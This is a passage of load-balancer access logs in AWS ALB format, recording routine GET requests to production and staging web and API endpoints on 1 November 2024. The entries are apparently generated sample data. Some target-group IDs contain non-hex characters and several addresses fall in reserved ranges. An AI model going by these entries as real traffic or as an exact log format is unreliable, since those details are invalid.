0.079573 200 200 103 3859 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc47-66f8268fe45549d5939bf802" "prod-api-alb.example.com" "-" 4 2024-11-01T00:20:07.268740Z "forward" "-" "-" "10.0.202.220:443" "200" "-" "-" +http 2024-11-01T00:20:08.762676Z staging-alb 132.39.101.226:28941 136.180.251.64:443 0.106193 0.142020 0.122951 301 301 632 8403 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc48-34ff961405364115ac260f8f" "staging-alb.example.com" "-" 1 2024-11-01T00:20:08.762676Z "forward" "-" "-" "136.180.251.64:443" "301" "-" "-" +https 2024-11-01T00:20:10.557796Z prod-web-alb 119.186.72.197:64075 10.0.191.10:443 0.040153 0.456112 0.027327 302 302 550 14696 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc4a-76edc456ae8c4ff19ebeac2a" "prod-web-alb.example.com" "-" 5 2024-11-01T00:20:10.557796Z "forward" "-" "-" "10.0.191.10:443" "302" "-" "-" +https 2024-11-01T00:20:11.832501Z prod-web-alb 186.164.200.201:28549 10.0.125.21:443 0.092949 0.038997 0.062438 302 302 904 12898 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc4b-15c771f1150c4efb89361b3a" "prod-web-alb.example.com" "-" 10 2024-11-01T00:20:11.832501Z "forward" "-" "-" "10.0.125.21:443" "302" "-" "-" +https 2024-11-01T00:20:13.697723Z prod-api-alb 152.188.130.174:39629 10.0.187.160:443 0.035986 0.171542 0.096686 200 200 330 4863 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc4d-3a7761d0fcff4672b99a8a4d" "prod-api-alb.example.com" "-" 1 2024-11-01T00:20:13.697723Z "forward" "-" "-" "10.0.187.160:443" "200" "-" "-" +http 2024-11-01T00:20:13.893239Z staging-alb 94.132.105.105:51764 129.28.62.244:80 0.072805 0.438963 0.149973 200 200 513 11775 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc4d-97af26ab125845cd93b68ffc" "staging-alb.example.com" "-" 6 2024-11-01T00:20:13.893239Z "forward" "-" "-" "129.28.62.244:80" "200" "-" "-" +http 2024-11-01T00:20:15.508806Z staging-alb 78.102.210.10:60035 2.66.172.7:443 0.072693 0.544907 0.040357 302 302 97 11278 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc4f-15094ffde1134838b5c70997" "staging-alb.example.com" "-" 8 2024-11-01T00:20:15.508806Z "forward" "-" "-" "2.66.172.7:443" "302" "-" "-" +https 2024-11-01T00:20:15.770168Z prod-web-alb 89.117.68.67:48387 10.0.100.14:443 0.030195 0.182855 0.043680 200 200 235 9253 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc4f-146906d02d974f3380dce9f0" "prod-web-alb.example.com" "-" 0 2024-11-01T00:20:15.770168Z "forward" "-" "-" "10.0.100.14:443" "200" "-" "-" +https 2024-11-01T00:20:15.991184Z prod-web-alb 248.27.153.40:63186 10.0.42.193:443 0.006098 0.335349 0.050821 302 302 441 2090 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc4f-405ff8714cec409f86d87bd0" "prod-web-alb.example.com" "-" 1 2024-11-01T00:20:15.991184Z "forward" "-" "-" "10.0.42.193:443" "302" "-" "-" +https 2024-11-01T00:20:16.303445Z prod-api-alb 77.5.233.123:57461 10.0.48.208:443 0.075379 0.410358 0.075196 200 200 910 12211 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc50-26ce4821e9d14819b84ce8f5" "prod-api-alb.example.com" "-" 2 2024-11-01T00:20:16.303445Z "forward" "-" "-" "10.0.48.208:443" "200" "-" "-" +http 2024-11-01T00:20:16.700969Z staging-alb 195.156.110.240:42125 109.48.82.135:8080 0.074132 0.222336 0.019782 404 404 769 8647 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc50-09a485e800ca496abf0ff07a" "staging-alb.example.com" "-" 8 2024-11-01T00:20:16.700969Z "forward" "-" "-" "109.48.82.135:8080" "404" "-" "-" +https 2024-11-01T00:20:18.589647Z prod-api-alb 205.85.46.89:11108 10.0.225.149:443 0.020276 0.387782 0.082817 302 302 151 5629 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc52-90c1c20853a14aa2ab21683b" "prod-api-alb.example.com" "-" 8 2024-11-01T00:20:18.589647Z "forward" "-" "-" "10.0.225.149:443" "302" "-" "-" +https 2024-11-01T00:20:20.474263Z prod-api-alb 24.167.230.121:60152 10.0.3.83:443 0.065950 0.003494 0.037345 200 200 640 13509 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc54-264724f301b8456095c3a796" "-" "-" 10 2024-11-01T00:20:20.474263Z "forward" "-" "-" "10.0.3.83:443" "200" "-" "-" +https 2024-11-01T00:20:21.395812Z prod-api-alb 185.176.143.9:21424 10.0.81.159:443 0.000618 0.203224 0.036146 200 200 429 1253 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc55-ace8bc7e166e496f9c43539f" "prod-api-alb.example.com" "-" 1 2024-11-01T00:20:21.395812Z "forward" "-" "-" "10.0.81.159:443" "200" "-" "-" +https 2024-11-01T00:20:22.465873Z prod-web-alb 200.228.199.10:23674 10.0.170.159:443 0.092797 0.255416 0.062039 301 301 331 7308 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc56-cc49fac957d241d195b53e70" "prod-web-alb.example.com" "-" 2 2024-11-01T00:20:22.465873Z "forward" "-" "-" "10.0.170.159:443" "301" "-" "-" +https 2024-11-01T00:20:24.146193Z prod-web-alb 87.81.13.87:18711 10.0.223.106:443 0.002880 0.322559 0.026377 302 302 506 8522 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc58-cbcf5ec418604480992a503f" "prod-web-alb.example.com" "-" 0 2024-11-01T00:20:24.146193Z "forward" "-" "-" "10.0.223.106:443" "302" "-" "-" +https 2024-11-01T00:20:24.365090Z staging-alb 32.98.244.130:21638 233.155.198.52:80 0.133770 0.396685 0.063242 404 404 621 6385 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc58-0057aa8cd69846f5a0702f79" "staging-alb.example.com" "-" 3 2024-11-01T00:20:24.365090Z "forward" "-" "-" "233.155.198.52:80" "404" "-" "-" +http 2024-11-01T00:20:26.032801Z staging-alb 161.187.209.77:22053 240.90.109.103:443 0.003480 0.478637 0.037179 200 200 395 11471 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc5a-50d0fc82fba6493da36ff872" "staging-alb.example.com" "-" 0 2024-11-01T00:20:26.032801Z "forward" "-" "-" "240.90.109.103:443" "200" "-" "-" +http 2024-11-01T00:20:27.106524Z staging-alb 26.122.229.233:56332 71.148.82.145:80 0.016906 0.124897 0.131822 200 200 938 1837 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc5b-e560aaf9cbfd4ba59d05c100" "staging-alb.example.com" "-" 4 2024-11-01T00:20:27.106524Z "forward" "-" "-" "71.148.82.145:80" "200" "-" "-" +https 2024-11-01T00:20:27.732080Z prod-api-alb 126.154.240.87:14203 10.0.43.66:443 0.068453 0.166534 0.012305 301 301 607 13604 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc5b-1bffbd1866d242d0b6983d73" "prod-api-alb.example.com" "-" 7 2024-11-01T00:20:27.732080Z "forward" "-" "-" "10.0.43.66:443" "301" "-" "-" +https 2024-11-01T00:20:28.131637Z staging-alb 93.172.38.17:53276 71.217.144.14:443 0.030764 0.534751 0.015359 200 200 630 10204 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc5c-0834e74764c547f297994cf7" "staging-alb.example.com" "-" 8 2024-11-01T00:20:28.131637Z "forward" "-" "-" "71.217.144.14:443" "200" "-" "-" +https 2024-11-01T00:20:30.060565Z prod-web-alb 155.250.126.111:57564 10.0.128.128:443 0.058643 0.427586 0.075920 301 301 292 4176 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc5e-f11a63e442454c3dae195a99" "prod-web-alb.example.com" "-" 7 2024-11-01T00:20:30.060565Z "forward" "-" "-" "10.0.128.128:443" "301" "-" "-" +https 2024-11-01T00:20:31.092228Z prod-api-alb 188.149.114.93:11170 10.0.38.180:443 0.020253 0.454288 0.099296 302 302 187 13614 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bc5f-4e31dd70a67e44bba5fac1d8" "prod-api-alb.example.com" "-" 3 2024-11-01T00:20:31.092228Z "forward" "-" "-" "10.0.38.180:443" "302" "-" "-" +https 2024-11-01T00:20:31.343148Z prod-web-alb 214.163.52.233:28963 10.0.160.89:443 0.069064 0.067382 0.034085 200 200 285 2895 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc5f-758cb0d2b1dc47908ae7f45d" "prod-web-alb.example.com" "-" 2 2024-11-01T00:20:31.343148Z "forward" "-" "-" "10.0.160.89:443" "200" "-" "-" +https 2024-11-01T00:20:32.104436Z prod-api-alb 141.154.210.36:33569 10.0.44.66:443 0.038078 0.281850 0.094847 200 200 970 7693 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc60-d5299852301e4aa2b8d1f1af" "prod-api-alb.example.com" "-" 10 2024-11-01T00:20:32.104436Z "forward" "-" "-" "10.0.44.66:443" "200" "-" "-" +https 2024-11-01T00:20:32.405125Z prod-web-alb 182.5.91.106:15852 10.0.168.92:443 0.077295 0.273956 0.089909 200 200 183 5462 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc60-fcc6a7f2b9fe4825a504c9b4" "prod-web-alb.example.com" "-" 0 2024-11-01T00:20:32.405125Z "forward" "-" "-" "10.0.168.92:443" "200" "-" "-" +https 2024-11-01T00:20:33.335226Z staging-alb 219.210.245.147:45633 87.92.188.39:443 0.010814 0.176622 0.148645 200 200 596 1691 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc61-6e3e91519d0e445080393f88" "staging-alb.example.com" "-" 0 2024-11-01T00:20:33.335226Z "forward" "-" "-" "87.92.188.39:443" "200" "-" "-" +http 2024-11-01T00:20:33.901352Z staging-alb 230.132.40.174:48583 128.125.72.251:80 0.030236 0.076279 0.144518 404 404 339 4343 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc61-e00a30768afd4634b42ef845" "staging-alb.example.com" "-" 10 2024-11-01T00:20:33.901352Z "forward" "-" "-" "128.125.72.251:80" "404" "-" "-" +https 2024-11-01T00:20:35.016985Z staging-alb 23.110.162.129:40079 204.88.5.14:80 0.076423 0.671807 0.139509 200 200 6 2736 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc63-e3b1077d350a49fb9338d458" "staging-alb.example.com" "-" 7 2024-11-01T00:20:35.016985Z "forward" "-" "-" "204.88.5.14:80" "200" "-" "-" +https 2024-11-01T00:20:36.956223Z prod-web-alb 80.18.202.18:21397 10.0.239.242:443 0.079917 0.366300 0.074654 200 200 915 13416 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc64-2fce2c576e944a9789a84e57" "prod-web-alb.example.com" "-" 3 2024-11-01T00:20:36.956223Z "forward" "-" "-" "10.0.239.242:443" "200" "-" "-" +https 2024-11-01T00:20:37.650185Z staging-alb 69.98.221.90:23225 251.213.140.2:8080 0.129249 0.531503 0.006196 200 200 515 9169 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc65-ea2e8ee6c0df41e8a44e541f" "staging-alb.example.com" "-" 7 2024-11-01T00:20:37.650185Z "forward" "-" "-" "251.213.140.2:8080" "200" "-" "-" +https 2024-11-01T00:20:37.993534Z prod-api-alb 127.110.169.26:17990 10.0.244.183:443 0.024148 0.379063 0.023141 200 200 11 3848 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc65-1b7f53fce6384de8bd691117" "prod-api-alb.example.com" "-" 2 2024-11-01T00:20:37.993534Z "forward" "-" "-" "10.0.244.183:443" "200" "-" "-" +https 2024-11-01T00:20:38.126863Z prod-web-alb 59.179.89.237:49002 10.0.237.213:443 0.024560 0.028561 0.005959 404 404 585 14203 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc66-3cc562c6e3d142ff94b49d68" "prod-web-alb.example.com" "-" 6 2024-11-01T00:20:38.126863Z "forward" "-" "-" "10.0.237.213:443" "404" "-" "-" +http 2024-11-01T00:20:38.516639Z staging-alb 193.94.146.20:30850 233.183.22.244:80 0.100526 0.248378 0.017341 200 200 384 2816 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc66-7ce444dee20b4c38be47cb61" "staging-alb.example.com" "-" 6 2024-11-01T00:20:38.516639Z "forward" "-" "-" "233.183.22.244:80" "200" "-" "-" +https 2024-11-01T00:20:40.325266Z staging-alb 4.65.191.40:12334 135.211.129.80:443 0.095020 0.452470 0.095680 200 200 911 9008 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc68-2fe8f5079e0640beabc9da45" "staging-alb.example.com" "-" 3 2024-11-01T00:20:40.325266Z "forward" "-" "-" "135.211.129.80:443" "200" "-" "-" +https 2024-11-01T00:20:41.330593Z prod-web-alb 250.212.218.183:28276 10.0.37.128:443 0.084430 0.444623 0.029737 301 301 452 14953 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc69-08a8ff5e1a544aa7b0ae234c" "prod-web-alb.example.com" "-" 10 2024-11-01T00:20:41.330593Z "forward" "-" "-" "10.0.37.128:443" "301" "-" "-" +https 2024-11-01T00:20:43.140492Z prod-api-alb 153.145.171.227:63355 10.0.75.30:443 0.038029 0.424838 0.066462 200 200 617 2166 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc6b-ce2a6aefb0e34ee7bc370089" "prod-api-alb.example.com" "-" 3 2024-11-01T00:20:43.140492Z "forward" "-" "-" "10.0.75.30:443" "200" "-" "-" +https 2024-11-01T00:20:43.478925Z prod-web-alb 133.250.232.163:42474 10.0.81.122:443 0.044730 0.045810 0.010537 301 301 371 4398 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc6b-3989f0eceb904f4e84e954ca" "prod-web-alb.example.com" "-" 0 2024-11-01T00:20:43.478925Z "forward" "-" "-" "10.0.81.122:443" "301" "-" "-" +https 2024-11-01T00:20:45.146275Z prod-web-alb 54.232.131.178:27373 10.0.25.219:443 0.098577 0.064675 0.097332 200 200 741 5676 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc6d-0a5e2585fd9749dc93901b63" "prod-web-alb.example.com" "-" 2 2024-11-01T00:20:45.146275Z "forward" "-" "-" "10.0.25.219:443" "200" "-" "-" +https 2024-11-01T00:20:46.568714Z prod-web-alb 85.120.90.253:57034 10.0.126.117:443 0.001613 0.295843 0.097660 302 302 204 13968 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc6e-bd81ef6ae8c6452f9dae183e" "prod-web-alb.example.com" "-" 1 2024-11-01T00:20:46.568714Z "forward" "-" "-" "10.0.126.117:443" "302" "-" "-" +https 2024-11-01T00:20:47.797661Z prod-web-alb 248.199.147.65:50506 10.0.3.250:443 0.040394 0.234520 0.020212 200 200 674 12078 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc6f-a31e223824d64ae889c7bd05" "prod-web-alb.example.com" "-" 1 2024-11-01T00:20:47.797661Z "forward" "-" "-" "10.0.3.250:443" "200" "-" "-" +https 2024-11-01T00:20:49.579658Z prod-web-alb 14.62.57.2:31318 10.0.185.194:443 0.046452 0.451985 0.078213 302 302 408 11145 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc71-bf4307a0175c4f6186a1807d" "prod-web-alb.example.com" "-" 10 2024-11-01T00:20:49.579658Z "forward" "-" "-" "10.0.185.194:443" "302" "-" "-" +https 2024-11-01T00:20:50.738728Z prod-web-alb 236.10.28.211:55877 10.0.12.154:443 0.007172 0.201974 0.038921 200 200 784 9881 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bc72-7935a4b83e90480baec50939" "prod-web-alb.example.com" "-" 5 2024-11-01T00:20:50.738728Z "forward" "-" "-" "10.0.12.154:443" "200" "-" "-" +https 2024-11-01T00:20:51.057289Z prod-web-alb 195.68.31.178:23771 10.0.122.115:443 0.039733 0.006844 0.061575 200 200 553 13947 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc73-0adda81034724a078dc541c0" "prod-web-alb.example.com" "-" 5 2024-11-01T00:20:51.057289Z "forward" "-" "-" "10.0.122.115:443" "200" "-" "-" +https 2024-11-01T00:20:52.590181Z prod-api-alb 27.239.183.13:41922 10.0.192.220:443 0.069653 0.226247 0.023561 200 200 622 13740 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bc74-54f0acfd29a0430c96c0dc85" "prod-api-alb.example.com" "-" 0 2024-11-01T00:20:52.590181Z "forward" "-" "-" "10.0.192.220:443" "200" "-" "-" +https 2024-11-01T00:20:53.599850Z prod-web-alb 158.221.151.218:36044 10.0.204.129:443 0.069664 0.203608 0.037692 200 200 290 6598 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bc75-451c878a17af4a4ea9e538c1" "prod-web-alb.example.com" "-" 2 2024-11-01T00:20:53.599850Z "forward" "-" "-" "10.0.204.129:443" "200" "-" "-" +https 2024-11-01T00:20:54.594660Z staging-alb 102.25.92.153:44569 150.139.233.247:8080 0.044982 0.657322 0.011812 200 200 336 6750 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bc76-c780356fa5704fc688601d62" "staging-alb.example.com" "-" 2 2024-11-01T00:20:54.594660Z "forward" "-" "-" "150.139.233.247:8080" "200" "-" "-" +http 2024-11-01T00:20:56.143048Z staging-alb 189.204.38.55:55234 28.68.194.67:443 0.081822 0.463502 0.056563 301 301 131 7077 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bc78-dba293fc61394609a913b932" "staging-alb.example.com" "-" 6 2024-11-01T00:20:56.143048Z "forward" "-" "-" "28.68.194.67:443" "301" "-" "-" +http 2024-11-01T00:20:56.860251Z staging-alb 87.115.237.248:19168 15.220.129.159:443 0.110960 0.133606 0.024715 200 200 327 14860 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f 